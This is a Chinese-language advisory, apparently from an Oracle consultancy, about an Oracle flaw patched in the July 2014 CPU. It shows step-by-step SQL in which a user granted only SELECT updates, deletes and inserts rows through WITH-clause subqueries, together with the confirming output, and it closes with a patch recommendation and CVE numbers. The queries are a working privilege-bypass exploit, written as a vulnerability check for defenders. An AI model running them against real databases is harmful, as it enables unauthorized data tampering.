各位用户,最近在互联网上暴露出一个Oracle的高危漏洞,利用该漏洞,仅有查询权限的用户可以对数据进行增、删、改操作,非常危险。该漏洞影响范围非常广泛,包括在国内最常见的11.2.0.3,11.2.0.4,12.1等版本。
该漏洞在2014年7月的CPU中被修正,但是如果用户未应用该CPU,则漏洞仍然存在。强烈建议您检查所有Oracle数据库,确认是否存在该安全风险。
云和恩墨在自己的测试环境中重现了该漏洞,云和恩墨的测试环境包括11.2.0.3,11.2.0.4,12.1.0.1这5个版本。您也可以通过以下步骤,检查数据库是否存在该漏洞。
(注:以下步骤仅供参考,原则上不会对数据库有任何影响,但是对于在生产环境中执行以下SQL可能产生的风险云和恩墨不负有任何责任)
1.首先创建基本测试用户,仅仅授予创建会话权限
SQL> create user test_update identified by test_update;
User created.
SQL> grant create session to test_update;
Grant succeeded.
2.将表查询权限赋予用户,注意很多产品环境中都存在类似设置
SQL> grant select on t to test_update;
Grant succeeded.
SQL> select count(*) from t;
COUNT(*)
----------
100
3.使用测试用户连接,验证普通的增、删、改权限被拒绝
SQL> conn test_update/test_update
Connected.
SQL> select * from enmo.t where rownum = 1;
ID
----------
1
SQL> update enmo.t set id = 1 where id = 1;
update enmo.t set id = 1 where id = 1
*
ERROR at line 1:
ORA-01031: insufficient privileges
4.在WITH语句中,权限限制被完全绕过,增删改权限被获得
SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 0 where id = 1;
1 row updated.
SQL> commit;
Commit complete.
SQL> delete (with temp as (select * from enmo.t) select id from temp) where id = 2;
1 row deleted.
SQL> insert into (with temp as (select * from enmo.t) select * from temp) select 2 from enmo.t where id =3;
1 row created.
5.在Oracle的CPU中,2014年7月的CPU中修改了该问题
由于很多用户不清楚CPU内容,并未应用,所以产生高危的影响。以下是应用该CPU之后,应有的权限反应。
SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1;
update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1
*
ERROR at line 1:
ORA-01031: insufficient privileges
警告:由于很多用户对CPU安全补丁关注不足,所以系统中可能存在此高危风险,建议用户关注该漏洞,并及时采取相应举措。与此有关的CVE号包括:CVE-2013-3751、CVE-2014-4236、CVE-2014-4237、CVE-2014-4245、CVE-2013-3774 .